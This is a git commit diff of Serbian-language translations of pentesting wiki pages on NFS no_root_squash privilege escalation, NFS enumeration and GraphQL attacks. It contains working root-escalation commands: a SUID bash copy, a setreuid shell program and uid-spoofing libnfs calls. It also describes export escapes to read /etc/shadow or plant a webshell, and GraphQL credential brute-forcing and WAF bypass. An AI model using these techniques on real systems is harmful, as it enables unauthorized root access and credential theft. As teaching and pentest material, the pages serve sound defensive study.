Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

This commit is contained in:
Translator 2025-02-05 00:27:09 +00:00
parent bba147afb1
commit 565f1f2b8c
10 changed files with 396 additions and 310 deletions

View File

@ -1,18 +1,29 @@
{{#include ../../banners/hacktricks-training.md}}
Pročitajte _ **/etc/exports** _ datoteku, ako pronađete neku direktoriju koja je konfigurisana kao **no_root_squash**, tada možete **pristupiti** toj direktoriji **kao klijent** i **pisati unutar** te direktorije **kao** da ste lokalni **root** mašine.
# Osnovne informacije o squashingu
**no_root_squash**: Ova opcija u suštini daje ovlašćenje root korisniku na klijentu da pristupi datotekama na NFS serveru kao root. I to može dovesti do ozbiljnih bezbednosnih implikacija.
NFS obično (posebno u linuxu) veruje u navedeni `uid` i `gid` od strane klijenta koji se povezuje za pristup datotekama (ako se ne koristi kerberos). Međutim, postoje neka podešavanja koja se mogu postaviti na serveru da **promene ovo ponašanje**:
**no_all_squash:** Ovo je slično **no_root_squash** opciji, ali se primenjuje na **ne-root korisnike**. Zamislite, imate shell kao nobody korisnik; proverili ste /etc/exports datoteku; opcija no_all_squash je prisutna; proverite /etc/passwd datoteku; emulirajte ne-root korisnika; kreirajte suid datoteku kao taj korisnik (montiranjem koristeći nfs). Izvršite suid kao nobody korisnik i postanite drugi korisnik.
- **`all_squash`**: Squashuje sve pristupe mapirajući svakog korisnika i grupu na **`nobody`** (65534 unsigned / -2 signed). Stoga, svako je `nobody` i nijedan korisnik se ne koristi.
- **`root_squash`/`no_all_squash`**: Ovo je podrazumevano na Linuxu i **samo squashuje pristup sa uid 0 (root)**. Stoga, svaki `UID` i `GID` se smatraju pouzdanim, ali `0` se squashuje na `nobody` (tako da nije moguća root impersonacija).
- **`no_root_squash`**: Ova konfiguracija, ako je omogućena, čak ni ne squashuje root korisnika. To znači da ako montirate direktorijum sa ovom konfiguracijom, možete mu pristupiti kao root.
# Privilege Escalation
U **/etc/exports** datoteci, ako pronađete neki direktorijum koji je konfigurisan kao **no_root_squash**, tada možete **pristupiti** njemu **kao klijent** i **pisati unutar** tog direktorijuma **kao** da ste lokalni **root** mašine.
## Remote Exploit
Za više informacija o **NFS** proverite:
Ako ste pronašli ovu ranjivost, možete je iskoristiti:
{{#ref}}
/network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
- **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle **/bin/bash** binarnu datoteku i davanje **SUID** prava, i **izvršavanje sa žrtvovane** mašine te bash binarne datoteke.
# Eskalacija privilegija
## Daljinski exploit
Opcija 1 koristeći bash:
- **Montiranje tog direktorijuma** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle **/bin/bash** binarnog fajla i davanje mu **SUID** prava, i **izvršavanje** tog bash binarnog fajla sa žrtvinske mašine.
- Imajte na umu da da biste bili root unutar NFS deljenja, **`no_root_squash`** mora biti konfigurisan na serveru.
- Međutim, ako nije omogućeno, mogli biste eskalirati na drugog korisnika kopirajući binarni fajl na NFS deljenje i dajući mu SUID dozvolu kao korisniku na kojeg želite da se eskalirate.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -25,7 +36,9 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle našeg kompajliranog payload-a koji će zloupotrebiti SUID dozvolu, dati mu **SUID** prava, i **izvršiti sa žrtvovane** mašine taj binarni fajl (ovde možete pronaći neke [C SUID payload-e](payloads-to-execute.md#c)).
Option 2 koristeći c kompajlirani kod:
- **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle našeg kompajliranog payload-a koji će zloupotrebiti SUID dozvolu, dati mu **SUID** prava, i **izvršiti sa žrtvovane** mašine taj binarni fajl (možete pronaći ovde neke [C SUID payload-e](payloads-to-execute.md#c)).
- Iste restrikcije kao pre
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -43,13 +56,13 @@ cd <SHAREDD_FOLDER>
> [!NOTE]
> Imajte na umu da ako možete da kreirate **tunel sa vašeg računara na računar žrtve, još uvek možete koristiti Remote verziju da iskoristite ovu eskalaciju privilegija tunelovanjem potrebnih portova**.\
> Sledeći trik se koristi u slučaju da datoteka `/etc/exports` **ukazuje na IP**. U ovom slučaju **nećete moći da koristite** u bilo kom slučaju **remote exploit** i biće potrebno da **zloupotrebite ovaj trik**.\
> Još jedan neophodan uslov za rad eksploata je da **izvoz unutar `/etc/export`** **mora koristiti `insecure` flag**.\
> Sledeći trik se koristi u slučaju da datoteka `/etc/exports` **ukazuje na IP**. U ovom slučaju **nećete moći da koristite** u bilo kom slučaju **daljinski eksploit** i biće potrebno da **zloupotrebite ovaj trik**.\
> Još jedan neophodan uslov za rad eksploita je da **izvoz unutar `/etc/export`** **mora koristiti `insecure` flag**.\
> --_Nisam siguran da li će ovaj trik raditi ako `/etc/export` ukazuje na IP adresu_--
## Osnovne Informacije
Scenario uključuje eksploataciju montiranog NFS dela na lokalnom računaru, koristeći grešku u NFSv3 specifikaciji koja omogućava klijentu da specificira svoj uid/gid, potencijalno omogućavajući neovlašćen pristup. Eksploatacija uključuje korišćenje [libnfs](https://github.com/sahlberg/libnfs), biblioteke koja omogućava falsifikovanje NFS RPC poziva.
Scenario uključuje iskorišćavanje montiranog NFS dela na lokalnom računaru, koristeći grešku u NFSv3 specifikaciji koja omogućava klijentu da specificira svoj uid/gid, potencijalno omogućavajući neovlašćen pristup. Iskorišćavanje uključuje korišćenje [libnfs](https://github.com/sahlberg/libnfs), biblioteke koja omogućava falsifikovanje NFS RPC poziva.
### Kompilacija Biblioteke
@ -60,36 +73,31 @@ Koraci za kompilaciju biblioteke mogu zahtevati prilagođavanja u zavisnosti od
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Sprovođenje Eksploata
### Izvođenje Eksploata
Eksploit uključuje kreiranje jednostavnog C programa (`pwn.c`) koji povećava privilegije na root i zatim izvršava shell. Program se kompajlira, a rezultantni binarni fajl (`a.out`) se postavlja na deljenje sa suid root, koristeći `ld_nfs.so` da lažira uid u RPC pozivima:
1. **Kompajlirajte kod eksploata:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Postavite eksploat na deljenje i izmenite njegove dozvole lažiranjem uid-a:**
2. **Postavite exploit na deljenje i izmenite njegove dozvole lažirajući uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Izvršite eksploat da dobijete root privilegije:**
3. **Izvršite eksploataciju da biste dobili root privilegije:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell za prikriveni pristup datotekama
## Bonus: NFShell za Diskretni Pristup Fajlovima
Kada se dobije root pristup, za interakciju sa NFS deljenjem bez promene vlasništva (da bi se izbegli tragovi), koristi se Python skripta (nfsh.py). Ova skripta prilagođava uid da odgovara onom fajlu koji se pristupa, omogućavajući interakciju sa fajlovima na deljenju bez problema sa dozvolama:
Kada se dobije root pristup, za interakciju sa NFS deljenjem bez promene vlasništva (da bi se izbegli tragovi), koristi se Python skripta (nfsh.py). Ova skripta prilagođava uid da odgovara onom datoteke koja se pristupa, omogućavajući interakciju sa datotekama na deljenju bez problema sa dozvolama:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html

View File

@ -6,26 +6,63 @@
**NFS** je sistem dizajniran za **klijent/server** koji omogućava korisnicima da besprekorno pristupaju datotekama preko mreže kao da se te datoteke nalaze unutar lokalnog direktorijuma.
Značajan aspekt ovog protokola je njegov nedostatak ugrađenih **mehanizama autentifikacije** ili **autorizacije**. Umesto toga, autorizacija se oslanja na **informacije o datotečnom sistemu**, pri čemu je server zadužen za tačno prevođenje **informacija o korisniku koje pruža klijent** u potrebni **format autorizacije** datotečnog sistema, prvenstveno prateći **UNIX sintaksu**.
Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalnog nesklada u **`UID`/`GID` mapiranjima** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Kao rezultat, protokol je najbolje koristiti unutar **pouzdanih mreža**, s obzirom na to da se oslanja na ovu metodu autentifikacije.
**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebni su samo TCP ili UDP).
**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebna je samo TCP ili UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Authentication
Značajan aspekt ovog protokola je obično nedostatak ugrađenih **mehanizama autentifikacije** ili **autorizacije**. Umesto toga, autorizacija se oslanja na **informacije o fajl sistemu**, pri čemu je server zadužen za tačno prevođenje **informacija o korisniku koje pruža klijent** u potrebni **format autorizacije** fajl sistema, prvenstveno prateći **UNIX sintaksu**.
Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalnog nesklada u **`UID`/`GID` mapiranjima** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Štaviše, ovi detalji se šalju od strane klijenta i server im veruje, tako da zlonameran klijent može potencijalno **pretvarati se da je drugi korisnik šaljući privilegovanije `uid` i `gid`.
**Međutim, imajte na umu da po defaultu nije moguće pretvarati se u `UID` 0 (root) koristeći NFS. Više o ovome u sekciji o squashing-u.**
#### Hosts
Za bolju (ili neku) autorizaciju, možete odrediti **hostove** koji mogu pristupiti NFS deljenju. To se može uraditi u Linux `/etc/exports` fajlu. Na primer:
```
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
```
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
### Verzije
- **NFSv2**: Ova verzija je prepoznata po širokoj kompatibilnosti sa raznim sistemima, označavajući njen značaj sa početnim operacijama pretežno preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za buduće razvoj.
- **NFSv2**: Ova verzija je prepoznata po svojoj širokoj kompatibilnosti sa raznim sistemima, označavajući njen značaj sa početnim operacijama pretežno preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za budući razvoj.
- **NFSv3**: Uvedena sa nizom poboljšanja, NFSv3 je proširila svog prethodnika podržavajući promenljive veličine datoteka i nudeći poboljšane mehanizme izveštavanja o greškama. I pored svojih napredaka, suočila se sa ograničenjima u punoj unazadnoj kompatibilnosti sa NFSv2 klijentima.
- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, sposobnost prelaska kroz vatrozidove i rad preko Interneta bez potrebe za portmaperima, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njegova poboljšanja u performansama i usvajanje protokola zasnovanog na stanju izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka.
- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, mogućnost prolaska kroz vatrozide i rad preko Interneta bez potrebe za portmappers, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njegova poboljšanja u performansama i usvajanje protokola sa stanjem izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka.
- Imajte na umu da je veoma čudno pronaći Linux host NFS koji podržava kerberos autentifikaciju.
Svaka verzija NFS-a je razvijena sa namerom da odgovori na evoluirajuće potrebe mrežnih okruženja, postepeno poboljšavajući sigurnost, kompatibilnost i performanse.
### Squashing
Kao što je ranije pomenuto, NFS obično veruje `uid` i `gid` klijenta za pristup datotekama (ako se kerberos ne koristi). Međutim, postoje neka podešavanja koja se mogu postaviti na serveru da **promene ovo ponašanje**:
- **all_squash**: Smanjuje sve pristupe mapirajući svakog korisnika i grupu na **`nobody`** (65534 unsigned / -2 signed). Stoga, svako je `nobody` i nijedan korisnik se ne koristi.
- **root_squash/no_all_squash**: Ovo je podrazumevano na Linuxu i **smanjuje samo pristup sa uid 0 (root)**. Stoga, svaki `UID` i `GID` su povereni, ali `0` se smanjuje na `nobody` (tako da nije moguća root impersonacija).
- **no_root_squash**: Ova konfiguracija, ako je omogućena, čak ne smanjuje ni root korisnika. To znači da ako montirate direktorijum sa ovom konfiguracijom, možete mu pristupiti kao root.
### Provera podstabla
Dostupno samo na Linuxu. man(5) exports kaže: "Ako je poddirektorijum datotečnog sistema izvezen, ali ceo datotečni sistem nije, onda kada stigne NFS zahtev, server mora proveriti ne samo da li je pristupna datoteka u odgovarajućem datotečnom sistemu (što je lako) već i da li je u izvezenom stablu (što je teže). Ova provera se naziva provera podstabla."
Na Linuxu je **`subtree_check` funkcija onemogućena** po defaultu.
## Enumeracija
### Showmount
Ovo se može koristiti za **dobijanje informacija sa NFSv3 servera**, kao što su lista **izvozâ**, ko je **dozvoljen da pristupi** tim izvozima, i koji klijenti su povezani (što može biti netačno ako se klijent isključi bez obaveštavanja servera).
U **NFSv4 klijenti jednostavno direktno pristupaju / export** i pokušavaju da pristupe izvozima odatle, neuspešno ako je nevažeće ili neautorizovano iz bilo kog razloga.
Ako alatke poput `showmount` ili Metasploit moduli ne prikazuju informacije sa NFS porta, to je potencijalno NFSv4 server koji ne podržava verziju 3.
```bash
showmount -e <IP>
```
### Korisni nmap skripti
```bash
nfs-ls #List NFS exports and check permissions
@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Montiranje
### nfs_analyze
Da biste saznali **koju fasciklu** server ima **dostupnu** za montiranje, možete ga pitati koristeći:
Ovaj alat sa [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) može se koristiti za dobijanje mnogo podataka sa NFS servera kao što su **mounts**, podržane NFS verzije, povezane IP adrese, i čak da li je moguće **pobeći iz exports** u druge foldere u FS ili **da li je `no_root_squash` omogućen**.
## Mounting
Da biste saznali **koji folder** server ima **dostupan** za montiranje, možete ga pitati koristeći:
```bash
showmount -e <IP>
```
@ -53,11 +94,36 @@ Trebalo bi da navedete da **koristite verziju 2** jer nema **nikakvu** **autenti
mkdir /mnt/new_back
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Dozvole
## Napadi
Ako montirate folder koji sadrži **fajlove ili foldere koji su dostupni samo nekim korisnicima** (preko **UID**). Možete **napraviti** **lokalno** korisnika sa tim **UID** i koristeći tog **korisnika** moći ćete da **pristupite** fajlu/folderu.
### Verovanje UID i GID
## NSFShell
Naravno, jedini problem ovde je što po defaultu nije moguće imitirati root (`UID` 0). Međutim, moguće je imitirati bilo kog drugog korisnika ili ako je `no_root_squash` omogućen, možete takođe imitirati root.
- Ako montirate folder koji sadrži **fajlove ili foldere koji su dostupni samo nekim korisnicima** (preko **UID**). Možete **napraviti** **lokalno** korisnika sa tim **UID** i koristeći tog **korisnika** moći ćete da **pristupite** fajlu/folderu.
- Alat **`fuse_nfs`** sa [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) će u suštini uvek slati potrebne UID i GID za pristup fajlovima.
### SUID Eskalacija privilegija
Proverite stranicu:
{{#ref}}
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Bekstvo iz eksportovanih foldera
U ovom [sjajnom članku](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) moguće je videti da je moguće **pobeći iz eksportovanih foldera da bi se pristupilo drugim folderima u FS**.
Dakle, ako je eksportovan folder koji je **podfolder** **celog fajl sistema**, moguće je pristupiti fajlovima van eksportovanog foldera ako je **`subtree_check`** onemogućen. A on je **po defaultu onemogućen u Linuxu**.
Na primer, ako NFS server eksportuje `/srv/` i `/var/` je u istom fajl sistemu, moguće je čitati logove iz `/var/log/` ili smestiti webshell u `/var/www/`.
Štaviše, imajte na umu da je po defaultu samo root (0) korisnik zaštićen od imitacije (proverite odeljak Squash). Međutim, ako je fajl **u vlasništvu roota, ali grupa nije 0, moguće je pristupiti mu**. Na primer, fajl `/etc/shadow` je u vlasništvu roota, ali grupa je `shadow` (gid 42 na Debijanu). Dakle, moguće je pročitati ga po defaultu!
Alat **`nfs_analyze`** sa [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) je napravljen da podrži ovaj napad protiv fajl sistema ext4, xfs, btrfs u verziji 3 (takođe bi trebalo da bude moguće u v4).
### NSFShell
Da biste lako listali, montirali i menjali UID i GID kako biste imali pristup fajlovima, možete koristiti [nfsshell](https://github.com/NetDirect/nfsshell).
@ -68,13 +134,13 @@ Da biste lako listali, montirali i menjali UID i GID kako biste imali pristup fa
/etc/exports
/etc/lib/nfs/etab
```
### Opasne postavke
## Opasne postavke
- **Dozvole za čitanje i pisanje (`rw`):** Ova postavka omogućava i čitanje i pisanje na datotečnom sistemu. Važno je razmotriti posledice davanja tako širokog pristupa.
- **Korišćenje nesigurnih portova (`insecure`):** Kada je omogućeno, ovo omogućava sistemu da koristi portove iznad 1024. Bezbednost portova iznad ovog opsega može biti manje stroga, povećavajući rizik.
- **Vidljivost ugnježdenih datotečnih sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi datotečni sistem montiran ispod izvezenog direktorijuma. Svaki direktorijum zahteva svoj vlastiti izvozni unos za pravilno upravljanje.
- **Vidljivost ugnježdenih datotečnih sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi datotečni sistem montiran ispod izvezenog direktorijuma. Svakom direktorijumu je potrebna sopstvena izvozna stavka za pravilno upravljanje.
- **Vlasništvo nad datotekama korisnika root (`no_root_squash`):** Sa ovom postavkom, datoteke koje kreira korisnik root zadržavaju svoj originalni UID/GID od 0, zanemarujući princip minimalnih privilegija i potencijalno dodeljujući prekomerne dozvole.

View File

@ -4,11 +4,11 @@
## Uvod
GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka da bi prikupio podatke, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa preuzimanja podataka.
GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa prikupljanja podataka.
## GraphQL i bezbednost
Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.
Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez pravilne autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.
### Napadi brute force na direktorijume i GraphQL
@ -27,11 +27,11 @@ Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upit
### Otisak
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) može da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
#### Univerzalni upiti <a href="#universal-queries" id="universal-queries"></a>
Da bi se proverilo da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor uključuje `{"data": {"__typename": "Query"}}`, to potvrđuje da URL hostuje GraphQL krajnju tačku. Ova metoda se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitog objekta.
Da bi se proverilo da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor uključuje `{"data": {"__typename": "Query"}}`, to potvrđuje da URL hostuje GraphQL krajnju tačku. Ova metoda se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitnog objekta.
```javascript
query{__typename}
```
@ -45,13 +45,13 @@ Da biste koristili introspekciju za otkrivanje informacija o šemi, upitite polj
```bash
query={__schema{types{name,fields{name}}}}
```
Sa ovom upitom ćete pronaći imena svih tipova koji se koriste:
Sa ovom upitom ćete pronaći imena svih tipova koji se koriste:
![](<../../images/image (1036).png>)
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (kao i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka.
Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka.
![](<../../images/image (950).png>)
@ -180,7 +180,7 @@ Napomena da je tip upita "_flags_" "_Flags_", i ovaj objekat je definisan kao is
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
Možete videti da su objekti "_Flags_" sastavljeni od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom:
Možete videti da se objekti "_Flags_" sastoje od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom:
```javascript
query={flags{name, value}}
```
@ -204,14 +204,14 @@ Međutim, u ovom primeru, ako pokušate to da uradite, dobijate ovu **grešku**:
Izgleda da će na neki način pretraživati koristeći argument "_**uid**_" tipa _**Int**_.\
U svakom slučaju, već smo to znali, u sekciji [Basic Enumeration](graphql.md#basic-enumeration) predložen je upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Ako pročitate sliku koju sam priložio kada sam pokrenuo taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
Ako pročitate sliku koju sam priložio kada pokrenem taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
Dakle, vršeći lagani _**uid**_ bruteforce, otkrio sam da je za _**uid**=**1**_ dobijeno korisničko ime i lozinka:\
Dakle, obavljajući lagani _**uid**_ bruteforce, otkrio sam da je za _**uid**=**1**_ dobijeno korisničko ime i lozinka:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
Napomena da sam **otkrio** da mogu tražiti **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
Napomena da sam **otkrio** da mogu da tražim **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
![](<../../images/image (707).png>)
@ -219,11 +219,11 @@ I tokom **faze enumeracije** otkrio sam da objekat "_**dbuser**_" ima kao polja
**Trik sa dump-ovanjem upitnog stringa (zahvaljujući @BinaryShadow\_)**
Ako možete pretraživati po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazni string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" po String polju nazvanom "**description**"_).
Ako možete da pretražujete po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete da pretražujete koristeći "**theusers**" po String polju nazvanom "**description**"_).
### Pretraga
U ovom podešavanju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
Možete **pretraživati** osobe **po** **imenu** i dobiti njihove emailove:
```javascript
@ -334,12 +334,12 @@ releaseYear
```
### Direktiva Preopterećenja
Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši resurse dok nije moguće izvršiti DoS napad.
Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), preopterećenje direktive podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok nije moguće izvršiti DoS napad.
### Grupisanje brute-force u 1 API zahtevu
Ove informacije su preuzete sa [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Autentifikacija putem GraphQL API sa **istovremenim slanjem više upita sa različitim akreditivima** kako bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog GraphQL grupisanja. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke.
Autentifikacija putem GraphQL API sa **istovremenim slanjem mnogih upita sa različitim akreditivima** za proveru. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog funkcije grupisanja GraphQL-a. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke.
Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka u isto vreme**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način:
@ -367,11 +367,11 @@ Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **
{queryType{name}}}"
}
```
Ako ne uspete, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve.
Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve.
### Pokušajte sa WebSockets
Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websockets-a otkrije šemu graphQL-a:
Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websoketa otkrije šemu graphQL:
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
@ -397,13 +397,13 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **Otkrivanje Izloženih GraphQL Struktura**
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za programere, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za programere su:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## CSRF u GraphQL
## CSRF u GraphQL-u
Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
@ -425,9 +425,9 @@ Zato, pošto se CSRF zahtevi poput prethodnih šalju **bez preflight zahteva**,
Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` oznaku u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima.
Napomena da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
